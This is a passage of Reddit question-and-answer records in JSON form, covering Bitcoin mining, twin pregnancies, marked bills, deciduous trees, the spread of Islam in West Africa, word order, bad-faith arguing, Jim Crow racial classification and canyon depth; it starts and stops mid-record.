from the final hash code. 3) the results must be reproducible. hashing the same set of data multiple times should yield the exact same result. Now, for anyone who paid attention during algebra class, this might seem ridiculous! Any mathematical operation can be undone, and since you can't randomly generate numbers, how are people unable to work backwards to get the original data? The secret lies in computer logic. All the data is processed as 1's and 0's, and the computer messes around with these numbers, with no regard whatsoever for what they represent. In addition to, well, addition, as well as subtraction, division, and multiplication, computers mess with the data through bitshifts, and logic operations: AND, OR, and XOR. AND-ing two numbers together works like this: you line the bytes (collections of 1's and 0's) up, and if a certain spot is a 1 in both numbers, the new number has a 1 in that spot. other wise it's a 0. The new number has a 1 wherever the the first number had a 1, *and* the second number had a 1. When you OR two numbers, the new number contains a 1 in any spot where the first number has a 1, *or* the second number has a one. XOR is a bit weird. When you XOR two numbers together, the new number has a 1 where ever one, but not both, of the previous numbers had a 1. They work like [so](_URL_2_). A hash algorithm uses everything I've listed here to morph a huge block of arbitrary data into a nice hash code. Bitcoins use the [SHA-256 hash algorithm, developed by the NSA in 2001 and currently unbroken](_URL_3_)\n\nNow, onto the actual mining, and the where I lied. The blocks don't actually hold the hash code of the next block. They have an arbitrary number (~~that has a name but i cannot for the life of me remember it, so we'll just call it *little number*~~ /u/Bd452 reminded me it's called a 'nonce') that is added in to the hash. The number has no connection with the actual data. What happens, is when a block is released (which is a regular occurrence, every few minutes-hours), everyone who is in the mining business races to figure out what ~~little number~~ nonce will cause the hash code to come out below a certain value. Why is it done this way? for control. The hash itself is not that hard. Most computers can do several hundred a second. adding in this little number creates a guess-and-check game that typically requires billions of hashes to get right (because the numbers are so incredibly long, there are a whole hell of a lot more possibilities **over** the target than under). Doing things this way dramatically increases (read, a billion times) the computational power needed to 'mine' each block, which makes it horribly impractical for one person or group to try to rewrite the bitcoin ledger. Like i said, if you have that kind of power, go hack a bank. It also allows those in charge of the distribution of new bitcoins to control the rate at which they're released. You see, right now, whenever one (or a group, as most mining is done in guilds, due to the huge processing power required) solves, or 'mines', a block, they're paid with 25 bitcoins. Every week (I believe) the people in charge of bitcoin (or it could just be a computer. that info wasn't relevant to my operation) looks at the number of bitcoins paid out in the last week. If it was more than expected, they drop the target number, making it harder to mine the blocks, meaning fewer are mined and less coins are paid. On the other hand, if not enough were released, they raise the target number, making it easier to mine blocks. \n\nAt this point I think I've covered everything relevant to ELI5. If you guys have questions over anything I've covered here, I direct you to the [bitcoin wiki](_URL_1_) or /r/bitcoin\n\n**Edit 2:** please be aware guys, I havent been a miner in months, so any information I give about the profitability of bitcoin mining is at least 8 months old. The price as increased 8x since then, and I have no idea how or if the # of miners or difficulty of blocks has increased to match. It could be far less profitable, far more, or about the same, I just don't know. I will answer all your questions on this subject, just take my answers with some skepticism.\n\n**Edit 3:** great questions guys, keep 'em coming! I'll stay and answer as long as you guys need!", "This video explains it well for anyone interested:  _URL_0_", "Why is it so hard to find/set up mining programs?\n\nI have computers and a server or two laying out in the shed, i want to use them to mine, and yet I can never find a straight solution. ", "I don't think I understand bitcoins enough to even know what kind of questions to ask. Hmm. ", "So are bit coins essentially stocks that people are trading for actual goods? \n\nWhy would anyone buy bitcoins if they can just generate them? \n\nHow are they worth so much? \n\nWhy do people even want bitcoins with them being worth $1000? Wouldn't it be easier to buy something online through paypal than buying a thousand dollar bitcoin and then trying to pay with it?", "Can bitcoins be traded in for USD or other currencies? ", "ELI5: bitcoin, how does it work, what is it? How does it have value? ELI5 in like 3 sentences maybe?", "Do you think governments will accept bitcoin in it's current form if it starts to gain real mainstream support, or do you think they'll attempt to regulate or even outlaw it's official use over fears of how difficult it is to track transactions(for money laundering, black market etc) or tax? If the idea really takes off with the general public do you think countries might even try to launch their own competing crypto-currencies?", "Ok.  Here is the major problem I have with bitcoin.  It presupposes that the only thing that matters in the equation of value is demand. Whereas in a national currency, goods, or precious metal it is always intrinsically linked to demand of said country's imports, exports, goods, precious metals etc...  They have priced social media stocks in the same fashion.  Twitter has a 50x sales market capitalization with zero earnings.  That is off the charts insane!  But the stock was in high demand, so that is why it is currently priced like that.\n\nHowever, sooner or later it all comes crashing down to reality where things have real concrete backing up their demand.   Twitter and Bitcoin fall into the same category, whereas a national currency such as the US dollar represents so much more than just demand.\n\nI expect bitcoin will not hold its value and we will see this go bust just as quick as it went boom.  Just like Twitter stock.  I wouldn't be selling my US dollars for a Bitcoin, and whoever does has just been suckered by the new age digital snake oil.", "100 \"individuals\" own 20% of all Bitcoins. Who can afford one Bitcoin, let alone many, to necessitate them a \"currency?\"  Source: _URL_0_  \n\n", "Why have you banned our tip bot? :(", "Why is the value of bitcoin shown as different values on different websites?", "This is the big thing that I still don't understand about bitcoin: why is it commonly accepted that your electric bill would be higher than the amount of bitcoins you could mine with a consumer computer?\n\nIf bitcoins are currently $1,000 apiece (I understand that it fluctuates wildly), and I get \"paid\" 25 BTC for solving a chunk of this arbitrary puzzle, that's $25,000. I couldn't use $25k worth of electricity in an entire year. Does it take longer than that to generate one bitcoin? To use $25k worth of electricity, it would take something like 8 years. Does it take even longer than that??\n\nIF SO, then why is anyone continuing to mine them? If it's already gotten to the point that you need that much hardware and power to generate one, how are you getting any value at the end when you've generated one if your power bills are eating you alive?", "Is it financialy viable for the average joe to mine bitcoins or would the power needed outweigh the profit? ", "When a block is solved, where do the 25 (currently) bitcoins come from? Is there like a master wallet containing all unmined bitcoins?", "I've got a couple hundred dollars that I want to invest in bitcoins but despite reading a lot about it I don't feel comfortable, nor do I truly understand how, to go about this. Can someone please convince me one way of another?", "Why do I have multiple addresses? Also there is a sub category called \"Change\" under them with even more, how do those work?", "all i know is i had 50 cents and now i have $2.50 so im happy", "So how is it that a bitcoin can go from being 300 dollars to be worth 1000 dollars.  ", "I understand that each bitcoin has it's own identifier, but all the descriptions of transactions people have given so far have been whole Bitcoins.  \"So-and-so A said that he sent bitcoin x to So-and-so B\". \n\nHow, then, does the system account for fractional transactions? When a transaction says the .01 of bitcoin x was sent, how does the system keep track and check for double spends for all the fractions?", "The only thing that doesn't make sense to me about Bitcoin is what is preventing people from creating \"mirrored\" Bitcoin sources?  If they are so valuable, wouldn't other people just create other sources where Bitcoins can be mined that are identical to the current method of mining Bitcoins?  Is the cryptography method behind Bitcoins so complex that no one can recreate it?  That seems unlikely to me.", "Cant someone else create another digital currency similar to bitcoin?", "I don't know why I've ignored these Bitcoin posts for so long. I remember years ago when it was such a low price, but I never understood what was going on. Now all I know is that I want one. I don't even completely understand why. It's like seeing something shiny. You just want it. ", "I'm still trying to understand this and the wiki is super vague.  I really wish it linked to code examples in the protocol or something a little more descriptive.  So my understanding, please correct:\n\nBitcoin miners are not mining bitcoins.  They are mining blocks.  A block is a data structure for storing lists of [transactions over an average period of time](_URL_0_) intended as permanent storage of all transaction history.  These blocks form the block chain which everyone has a copy of.  The reward for successfully mining a block is currently 25 bitcoins. (need link to code which creates the reward) (also link to wallet history which shows this transaction with source wallet id?)  This reward is based on some mysterious function which has something to do with the number of bitcoins in circulation and [transaction](_URL_1_) fees.  (link to code which determines value of reward)  When the maximum number of bitcoins is reached, the function will no longer increment anyone's wallet with magic, sourceless bitcoins, but only the transaction fees from millions of wallets, which will probably render the system more expensive to operate than it is worth. ([estimated operation costs of entire network](_URL_2_))\n\nBy the way, which wallet ID is the source of new bitcoins?  How are these rewards depicted in the ledger?  Can anyone provide a link to an actual reward transaction in the ledger? (And I don't mean a reward sent to you as part of a mining team, I mean what puts the reward into the wallet belonging to the successful client miner)", "Apparently there's a new sort of attack where miners can find a block, choose not to publish it, and somehow make money they don't deserve. How does this work and how does this change things for bitcoin?", "Is it possible to short bitcoins? How?", "I understand that bitcoins were originally given out as rewards for \"mining\" using hashing to solve algorithms, but I don't understand what the algorithms do. Like, why would someone reward you for doing that? It seems like the algorithms are just a long string of values (1s and 0s? Or hexadecimal? I'm not completely sure).\n\nWhat's the purpose of solving these algorithms? Do they represent something?", "Granted I haven't done enough research (why I'm in this thread). I keep hearing bitcoin referred to as currency but I've heard of no way it's used as currency. Everyone talks about it as though it's an investment like buying stocks in the stock market.\n\nAre there retail venues that accept bitcoin? Can I buy CoD: ghosts with bitcoin, or maybe a month of Netflix? ", "Thanks to this thread, I just opened up my old Bitcoin Wallet and found out that I have 0.100 in there... This might not seem like much but I really need monies.", "Are Bitcoins immune to hacking? Why can't hackers (or anyone) just create more? What determines their authenticity? Where do they \"exist\" and how is ownership tracked? \n\n ", "I swear I started mining this on an old computer years ago but I have no idea how to retrieve my earnings!  I might have millions worth somewhere ", "Everyone know that when you mine bitcoin your computer solves some complex maths problems and in return you get bitcoin.\r\rWho sets these problems?\rWhy would solving them benefit the guy who set them?", "If the value of BTC continues to rise, is there a plan for a new format to make it more readable? \n\nIf I wanted to buy a movie or something online, it looks dumb to pay 0.003BTC for it. Do people use metric prefixes?", "As I understand it, mining is both what verifies the blocks, and what increases supply.  After supply rate has fallen to 0, what encourages miners to keep mining, and thus verifying?  Would it just stop being done?", "How does a normal person who know nothing of programming earn bitcoin?"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/search?q=bitcoin&amp;restrict_sr=on", "https://en.bitcoin.it/wiki/FAQ_", "http://www.reddit.com/r/technology/comments/1rkok4/bitcoin_hits_1000/", "http://www.reddit.com/r/explainlikeimfive/comments/1c3adk/official_eli5_bitcoin_thread/", "http://www.reddit.com/r/explainlikeimfive/comments/1b689q/eli5_this_bitcoin_mining_thing_again/"], "answers_urls": [["http://zen.lk/2013/12/15/bitcoin-in-plain-english-abridged/"], [], [], [], [], [], [], ["http://www.theguardian.com/technology/2013/nov/27/hard-drive-bitcoin-landfill-site", "https://en.bitcoin.it/wiki/Main_Page", "http://i.imgur.com/Qn2ixng.jpg", "http://en.wikipedia.org/wiki/SHA-256"], ["http://vimeo.com/63502573"], [], [], [], [], [], [], [], ["http://bitcoinrichlist.com/top100"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://blockchain.info/charts/n-transactions-per-block?timespan=all&amp;showDataPoints=false&amp;daysAverageString=1&amp;show_header=true&amp;scale=0&amp;address=", "https://blockchain.info/charts/n-transactions?timespan=all&amp;showDataPoints=false&amp;daysAverageString=1&amp;show_header=true&amp;scale=0&amp;address=", "http://blockchain.info/charts/network-deficit?timespan=all&amp;showDataPoints=false&amp;daysAverageString=1&amp;show_header=true&amp;scale=0&amp;address="], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1pzdg4", "title": "How many amniotic sacs form during a pregnancy with twins/triplets...etc?", "selftext": "Identical twins I would assume have one amniotic sac, one umbilical cord that splits to a Y-shape. But what about fraternal twins? Do fraternal twins share one amniotic sac or two separate? I have never delivered animals that reproduce in litters, but my wife says that each pup (or whatever animal) of the litter has their own sac.\n\nI would think that even for fraternal twins they still share the same amniotic sac, because the lining of the uterus is what turns into the amniotic sac. But I could be wrong, can someone knowledgeable on the subject break it down for me?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pzdg4/how_many_amniotic_sacs_form_during_a_pregnancy/", "answers": {"a_id": ["cd7nbzk"], "score": [8], "text": ["Chorion = placenta\n\nAmnion = amniotic sac\n\nZygote = fertilised egg\n\nAll non-identical twins are dichorionic, diamniotic (DCDA). I.e. 2 fertilised eggs implant separately with 2 placentas and 2 amniotic sacs. \n\nFor identical twins it depends when the embryo splits what kind of twin you get. If it happens early you get DCDA, like the non identical ones (this is most common and safest). \n\nIf it happens later you will get, sequentially:\n\n * Monochorionic, diamniotic (MCDA): 1 placenta with 2 amniotic sacs. This has risks such as twin-twin transfusion syndrome. \n * Monochorionic, monoamniotic (MCMA): 2 embryos floating in one amniotic sac. This is higher risk yet, with the added possibility of cord entanglement.\n * Conjoined twins.\n\nEdit: [Here's a diagram](_URL_0_)\n\nFor triplets etc the same rules apply depending on the mechanism, e.g. if 3 zygotes form triplets they'll be TCTA..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/F4W8x7y.png"]]}
{"q_id": "4ldn0t", "title": "tracing paper money", "selftext": "This is a common theme in movies. X amount of dollars have been stolen, some random person finds the money, only to find out later the serial numbers have been written down and thus the money is useless.\n\nBut how? Even if someone manually wrote down every single serial number somewhere, how is any random person accepting the cash going to know the money is marked? Not to mention, once you spend that marked money, how can anyone possibly know you even used it in the first place?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ldn0t/eli5_tracing_paper_money/", "answers": {"a_id": ["d3mgfal", "d3mgfex"], "score": [3, 2], "text": ["Normally bills are marked in a sting operation when the law enforcement officers are planning on arresting the perpetrators shortly after the crime. They record the serial numbers, then when they arrest the criminals, the officers match the serial numbers on the money they confiscated with the serial numbers they recorded before the sting. This makes it extremely simple for the jury to link the money to the crime in court.", "Nothing in real life works like the movies, but money scanning machines are used by banks and some can check serial numbers.  If this happens, then the cops can go to that store and look at all the people who paid with a $20 bill.  It's hundreds, but that's better than the millions that live in the city.  A couple of hits and you don't have a lot of people in common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "77ggoq", "title": "what are the biological advantagse and disadvantages of trees shedding their leaves vs keeping them all year round (deciduous vs coniferous)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77ggoq/eli5_what_are_the_biological_advantagse_and/", "answers": {"a_id": ["dolmbfu", "dolmbrd", "dolmja0", "dolmscb", "dolo1q9", "dolwkmh", "dolyxfh"], "score": [7, 18, 24, 40, 26, 6, 4], "text": ["The advantages are that they conserve energy and water during winter months, have a chance to regrow damaged leaves, and are less appetizing to some types of predators.\n\nThe disadvantages are the fact that they must expend a lot of energy to regrow new leaves from scratch.", "Leaves take energy to protect and keep alive, especially in the cold, dark days of winter.  If they energy they make available to the try isn't enough to cover their cost, they are a net drain.\n\nIf the difference between those two is great enough, it is can cost least energy overall to drop the leaves during fall or winter, and regrow them in the spring.", "Deciduous trees lose their leaves to conserve water and to survive winter. The roots of evergreen trees are deeper and are able to obtain water better than deciduous trees. \n\nTrees also lose their leaves as a form of self-protection, as tourists flock to see the leaves changing colors, thereby increasing the tourist revenue for that area, which in turn provides protection against being cut down. This is know as \"economic evolution\".", "Deciduous trees shed their leaves in order to conserve energy. Leaves take energy to maintain, so it's advantageous for the tree if it does not have to deal with leaf upkeep when there is limited warmth and sunlight (in other words, winter).\n\nThe downside of this is that deciduous trees have to regrow all their leaves the next year, which is something that evergreens do not have to deal with (by the way, I think the question should be deciduous vs evergreen, but that's another topic)\n\nFor a non-ELI5 explanation of advantages vs disadvantages, Wikipedia has some pretty good information: _URL_0_", "Deciduous trees would never survive a winter if they kept their leaves in area where it snows.  Snow accumulates on leaves and gets very heavy, breaking branches and taking down entire trees, especially if it is snowy and windy.. or that heavy wet snow so common on warmer days.\n\nSnow does eventually accumulate on the thin needles of evergreen trees too, but their branches are usually slopped better to handle it, where as the upright branches of deciduous trees cannot cope.  Snow does slide off the needles easier than it slides off leaves.\n\nIn areas that get freak snow storms in the fall (before the leaves have fallen off deciduous trees) it is not uncommon to have a  lot of  branches down or trees fully knocked over.", "There are three types of environmental conditions.\n\n1. Wherever there is a seasonal lack of water (either via a dry season or snowy winter) **Deciduous** trees are advantaged because they don't need to spend water maintaining their leaves.  \n\n2. Where the soil is nutrient poor (making it costly to regrow the leaves each year) **Evergreen** trees are advantaged.\n\n3. Where neither restriction is in effect **Evergreens** generally outcompete Deciduous trees due to natural leeching of nitrogen out of the soil favouring Evergreens.", "Deciduous trees lose their leaves as they move energy from them into the roots in preparation of colder temperatures, sort of a tree hibernation. Their isn't enough sunlight in the winter for many species to photosynthesis effectively so by withdrawing energy and support for their leaves in favor of storage, they can outlast the cold and limited sunlight.\n\nConifers on the other hand keep their needles all year because they can photosynthesis year round, even with the limited light in winter. It's also less energy they need to spend in the spring regrowing their leaves. As well winter can offer less competition depending on the forest type for conifers since many other dominant species won't be blocking light since they've shed their leaves already. Conifers also will shed their bottom branches throughout their lives if the lower leaves don't receive enough light. Many people mistake this for the tree dying, but it's just a method of energy conservation.\n\nThere are odd balls in each tree type though. For instance, Tamaracks shed their needles in the fall while still scientifically being a conifer, and American beech doesn't lose its leaves after its withdrawn all the energy from the leaves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Deciduous#Function"], [], [], []]}
{"q_id": "2sz87e", "title": "Why did Islam spread so slowly south of the Sahel compared to in and to the North of it?", "selftext": "During some research into Boko Haram, I've come across the claim a few times that if it were not for European colonialism, Islam would have eventually spread all over West Africa. For example the powerful [Sokoto Caliphate](_URL_4_) had been expanding throughout the territory of contemporary north west Nigeria during the early 19th century - eventually to be defeated by the British in 1903.\n\nPrior to this, there had been relatively large and sophisticated Islamic states expanding in the sahel since the 14th century. For example the [Sultunate of Kano](_URL_0_), the [Songhai empire](_URL_3_), the [Wadai empire](_URL_2_), and the [Bornu empire](_URL_1_). These states were not Islamised by Arab conquest but by conversion of military leaders and parts of the population, who would subsequently convert the rest of the population.\n\nHowever expansion into the land south of the sahel seems to have been insignificant. There are accounts of Muslims living among the Igbo, for example, but not in any great strength.\n\nConsidering that Islam spread throughout the entire southern and eastern mediterranean in about 100 years in the 7th and 8th centuries, and seems to have spread througout the sahel by the 14th century, why did it not spread from the Sahel to the West African southern coast in the 500 years before European colonisation? There's four possible factors I'm thinking of:\n\n1. Culture - it seems to me that Islam would have had a large cultural advantage over the animist areas to the south, not least because it brought literacy, and also connection to a huge cultural and intellectual world. But this advantage doesn't seem to have translated into territory.\n2. Military ability -  Was there something about the territory that made wars of conquest by Islamic states successful in the sahel but not south of it?\n3. The value of the land and people - were Islamic 'missionaries', traders and conquerors simply not interested in the societies and land south of the sahel?\n4. European trade before formal colonisation - perhaps bringing goods and ideas into coastal regions from the 15th century contributed to a lesser influence for Islam?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2sz87e/why_did_islam_spread_so_slowly_south_of_the_sahel/", "answers": {"a_id": ["cscz6qc"], "score": [2], "text": ["I can be of some help here, Firstly some clarifications:\n\n* \"For example the powerful Sokoto Caliphate had been expanding throughout the territory of contemporary north west Nigeria during the early 19th century - eventually to be defeated by the British in 1903\".------------Not really,the Sokoto Caliphate expansion was stopped by the Ibadan Kingdom in the 1800s.\n\n* Secondly, Islam did spread to the south of Nigeria, there is a significant number of Muslims in Yorubaland.\n\nNow to your major question, as to why Islam spread so quickly in the North. Because of two men, the first being Mai(pronounced May) Umme(Humme) Jilmi of Bornu who converted to Islam in the 11th century. His conversion, if not inspired by outright faith also brought certain advantages to his empire such as a literate bureaucracy and a unifying factor for the different trbes under his rule. With Islam the official religion of Central Sudan's most prominent empire, conversion began to spread as Bornu reigned supreme until the 1700s. \n\nAs Bornu declined, several successor states came to the fore with the most militarily viable being Gobir. Islam was by now in flux, certainly in theory it was the official religion of all kingdoms in the region, in practice however the rulers were corrupt and exploitative, Bornu was declining and unable to maintain peace, Gobir was on the warpath first allying with Zamfara to destroy Kebbi and inturn then destroying Zamfara. The chaos led to the usual exploitations all too common in wartime, as the rulers increased taxes to fund their lifestyles and the army. The Mallams(Muslim Preachers) who were supposed to be the conscience of the rulers were divided into two camps, the Court Mallams who enjoyed the benefits of misrule and as such were indulgent and the itinerant Mallam whose sympathies lay with the people. This was a powderkeg which needed a spark, that spark would ironically be born in Gobir.\n\nIn 1754 the second most important figure in Islam's spread was born , his name was Mohammed b. Salih b. Mohammed Fodio AKA Shehu Usman dan Fodio. Usman was born to a family of scholars, he would complete his studies in Agades and would begin preaching in 1774 at the age of 20, he avoided the courts and toured round the countryside extolling the virtues of Islam and calling for reform, he naturally found many a sympathetic ear. \n\nIn the 1780s(sorry recalling from memory) the Gobir King Bawo(Bawa) Jan Gwarzo would call an Eid el Kabir feast and would reward all the Mallams with rich gifts, only Usman would refuse. He instead asked for these:\n\n* That he be allowed to call people to God.\n\n* That all who heeded his call be unmolested.\n\n* That respect be accorded all turbaned Men.\n\n* That there be a reduction of taxes.\n\n* That all Muslim(some textbooks say \"all\") political prisoners be released.\n\nGwarzo acceded to all these requests raising Usman's reputation in the eyes of the people, this arrangement was doomed to fail ofcourse and it did, with Dan Gwarzo's Grandson Nafata making the following laws:\n\n* That none may be Muslim except Muslim born\n\n* That all return to the religions of their Fathers.\n\n* None may be turbaned nor veiled.\n\nThis would increase tensions, the actual cassus belli was the forceful freeing of Muslim prisoners en route to Alkawa the Gobir capital. This would lead to the declaration of the jihad in February 1804. Inspired by the Shehu and due to mutual mistrust the other Hausa states had for Gobir(remember what they did to Zamfara) the Jihadists defeated Gobir and the other Hausa states. All the major Islamic empires of the 18th to 19th century can be traced to this movement, all the Emirates in present day Nigeria originated from Jihadists who received flags from the sheikh himself, the Theocratic state of Masina was founded by Seku Ahmadu who sent emissaries to Usman, Alhaj Umar was who founded the Segu caliphate was inspired by Usman, Samori Toure who founded Mandinka was inspired by Alhaj Umar.\n\nUnto your factors:\n\nCulture: In some ways yes, with all the major powers of the region being Muslim aided in its spread, infact in present day central Nigeria, the jihad was caused by the animist rulers demanding Juris Noctis rights from the Fulani leaders. Secondly, the Fulani were united under a fellow Torodobe(settled Fulani), this gave them an advantage in their conquests against disunited tribes harbouring mistrust.\n\n* Military Ability: This was the most important reason! One word Horses. The Sahel region is open plains unlike the thickly forested areas of Eastern Nigeria. The Jihad would have achieved its ambition to \"dip the Koran in the Sea\" had Ibadan not developed a viable anti-Calvary force thanks to their firearms. Not to mention further down south, livestock is exposed to the TseTse Fly and they would quickly find that Guns >  >  >  >  >  >  >  >  >  > Horses and Bows and Arrows.\n\n* Had nothing to do with it. It was a Jihad against infidels, value of land had nothing to do with it, any group of Fulani who felt oppressed by the \"infidels\" went to Sokoto for a flag and declared a Jihad. From 1804 per the Sheikh's declaration there was Dar El Islam(territory of Islam) and Dar El Harb(Territory of War). Very black and white.\n\n* The European factor: Helped, yes not by spreading ideas but by selling Guns. As mentioned previously Guns >  >  >  >  >  >  >  > Horses e.t.c\n\nSorry for the late answer, this is an overview, if you need anything indepth.............."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Sultanate_of_Kano", "https://en.wikipedia.org/wiki/Bornu_Empire", "https://en.wikipedia.org/wiki/Wadai_Empire", "https://en.wikipedia.org/wiki/Songhai_Empire", "https://en.wikipedia.org/wiki/Sokoto_Caliphate#Growth_of_the_Caliphate"], "answers_urls": [[]]}
{"q_id": "2x9x91", "title": "why is it that \"mom and dad\" is much smoother and natural to say rather than \"dad and mom\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x9x91/eli5_why_is_it_that_mom_and_dad_is_much_smoother/", "answers": {"a_id": ["coy7qx6", "coy7ry1", "coyaztm", "coydg2s", "coyh4r7"], "score": [5, 38, 35, 2, 3], "text": ["how your lips and tongue are positioned at the end of the word 'mom' is similar to how they are positioned to start the word 'and' ... but they're positioned differently at the end of the word 'dad' which means you have to reposition them to start the word 'and'. ", "It just has to do with the way our mouths shape the sounds.\n\n\"Ma Mand Ad\" flows together nicelike, the end of \"and\" and beginning of \"dad\" are natural because there are no more than two consonant sounds together and they are a single syllable sound.\n\n\"Da Dan Dmam\" is awkward because you have the NDM sequence in \"and mom\" so you're making more work for your mouth, and the sound is jerky and disconnected, basically adding a vocal pause that feels wrong, because by reversing the order we can retain the meaning and say the exact same thing, so your brain wants to say it the easy way.", "In Linguistics this is known as \"Siamese Twins\". Basically, these are 2 words that native speakers find very very strange when they are switched. Try:  \n\n\"We want him **dead or alive**\" = good  \n\"We want him **alive or dead**\" = native speakers find this sound weird.\n\n[There's a whole list of these on Wikipedia](_URL_0_) and they're fascinating to try out. \n\nCompare \"**apples and oranges**\" with \"**oranges and apples**\" , \"it's neither **here nor there**\" with \"it's neither **there nor here**\" , \"**loud and clear**\" with \"**clear and loud**\". \n\nIn all of the examples, native speakers find the second option just sounds weird. This is primarily due to us repeatedly hearing the phrase in a set order when we are kids (no one ever says \"alive or dead\", so we never hear the phrase said this way). Since kids learn to speak from listening to the people around them, these phrases got stuck in our vocabularies the way they are.\n\nEDIT: changed \"divide and conquer\" to \"here nor there\"", "All of these responses are not very helpful, and I wouldn't deem them correct or well-informed. \n\nBut as someone who studies linguistics, I can give a little bit of insight into my theory.\n\nThe reason I think it sounds odd and stilted to say \"dad and mom\" has to do with set phrases in English. You don't say something like \"relaxation and rest\" you say \"rest and relaxation\". Another maybe better example would be \"supply and demand\". That's just the normal order for those two nouns to appear. \n\nWhen you break \"rules\" like this, it can trigger the part of your brain that tells you when the structure you just used was ungrammatical. Not necessarily the \"grammatical\" that you learn in school, but the grammatical you acquire when you are a child learning your first language.\n\nIt's the same way that \"He and I\" sounds bad as a subject in English and \"Me and him\" sounds good, it's because you acquired that structure when you were a child and deviating from it can cause problems in other cases or make your sentence sound stilted or unnatural.  \n\nNow, maybe the phrase was put together with mom first because of phonological reasons. It is easier to switch from a nasal /m/ to another nasal /n/, and then have a stop at the same location /d/ afterwards.\n\nBut that's probably not the case.  ", "It doesn't roll off the tongue.\n\nThere is a way a language is structured and then the way we speak. The way we speak is generally the most efficient way to get across 90% of the most commonly used ideas.\n\nWhen you have to stop your air flow and tone, it is more complicated to say. The sound m maintains air flow and sound, in other Languages these are called semi vowels. The sound d does not. So it won't roll off the tongue.\n\nAlso consider \"mom and pop\". It similarly rolls off the tongue, but if you catch yourself saying it out loud you will notice you do not conspicuously pronounce the d in \"and\". This is for the same reason mentioned above. Since the word \"dad\" starts with a d and \"and\" ends with one, they flow together easily. To get \"mom and pop\" to flow easily you subconsciously get rid of the d and people still get it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://tinyurl.com/6opj75u"], [], []]}
{"q_id": "b2wu1d", "title": "what does it mean to argue in bad faith?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b2wu1d/eli5_what_does_it_mean_to_argue_in_bad_faith/", "answers": {"a_id": ["eivgphr", "eivh975", "eivha32", "eivor4h", "eiwfyjm"], "score": [19, 2, 6, 21, 6], "text": ["It means that you don't really believe the argument you're making. The person you're making the argument to has to take it on faith that you're being honest about the argument, so if you claim something that you know is not true that would be a bad faith argument. If you believed it was true even though it wasn't, that would be a good faith mistake.", "In what context?\n\nThere are many ways to argue in good faith. You could make an argument because you believe it to be true, to be supported by the evidence, or you could make an argument that you don't hold, but feel it represents a viewpoint that should be acknowledged.\n\nYou might argue in bad faith if you are making an argument to convince someone of something you know to be wrong, but would benefit you financially if they act on it.", "A good faith argument is a level-headed attempt to persuade the other person to your way of thinking, and to honestly appraise and grapple with their counter points.\n\nA bad faith argument is an attempt to antagonize them, usually by ignoring what they say, engaging in personal insults, or otherwise wasting their time and energy on someone who doesn't care. ", "It means that you're not arguing to come to a mutual understanding. In a true debate/argument, both sides must be willing to acknowledge if the other side has good points and be open to changing their minds. If you tell someone you want a \"debate\" but you really just want to antagonize them or preach to them, you are lying when you say you want to \"argue\".\n\nBad faith generally is an intent to deceive.", "I think the broadest way to define arguing in bad faith is when a person's **actual** goals and motivations don't align with their **overt** goals and motivations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2kc8li", "title": "What would life be like for a mixed race, illegitimate child in 1960's America?", "selftext": "Say a white man had an affair with a black woman in pre-civil rights, post slavery America, and left her to raise the child herself. How could we expect that child to be thought of and treated as they grew up?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2kc8li/what_would_life_be_like_for_a_mixed_race/", "answers": {"a_id": ["cljw7y6"], "score": [4], "text": ["They would be treated as African American under Jim Crow laws. See the [\"one-drop rule\"](_URL_0_), that basically stated that any amount sub-Saharan African ancestry made that person to be considered black, socially and legally. There was no 'halfway' on racial classifications at the time.\n\nThat child would for all practical purposes have the same experience as an illegitimate, 100% African American child in that place and time.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pbs.org/wgbh/pages/frontline/shows/jefferson/mixed/onedrop.html"]]}
{"q_id": "eumum6", "title": "How deep below sea level could a canyon theoretically get?", "selftext": "Would it get too unstable at some point and collapse in on itself?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eumum6/how_deep_below_sea_level_could_a_canyon/", "answers": {"a_id": ["ffqfrj0", "ffr0iuw"], "score": [128, 49], "text": ["Assuming this is a canyon cut by a river, no more below sea level than the base level of the river (i.e. the elevation of the body of water the river flows into). Rivers tend toward an equilibrium condition referred to as a 'graded profile'. Here is a [graphical representation](_URL_3_) and a classic paper describing the idea of the [graded profile in detail](_URL_1_). What this really means is that on average, a river tends toward a state where it erodes down at the same rate the rocks beneath it are moving up (and/or it moves as much sediment as it deposits in any given place for rivers in more passive landscapes) and the slope that develops at any point along the river is the slope necessary to maintain this erosion rate, given the amount of water (which varies as a function of position within a river system, less at the headwaters and progressively more downstream as the accumulation area increases). What this implies is that a river will not erode below its base level*. So, the only way you would get a canyon below sea level is if the base level of the river that cut that canyon was below sea level (e.g. an internally drained basin that lies below sea level).\n\n*Because AskScience readers love technicalities, the technical exception to this statement would be [submarine canyons](_URL_2_), which are canyons below the surface of the ocean cut into the continental shelf and typically form down slope of the mouth of a subaerial river (and thus by definition are canyons below sea level). However, it is important to note that these features are primarily formed by [turbidity currents](_URL_0_) and thus represent a very different erosional process than a subaerial river and it's not really correct to consider these as canyons occupied by rivers in any formal sense.", "I like the other answers, but they don't answer this interesting question; \"how deep could you dig a canyon on Earth before it collapses?\" This is similar to the popular question \"what's the highest possible mountain?,\" answered very well by /u/CrustalTrudger [here](_URL_0_).\n\nLet's imagine an idealized canyon with a narrow 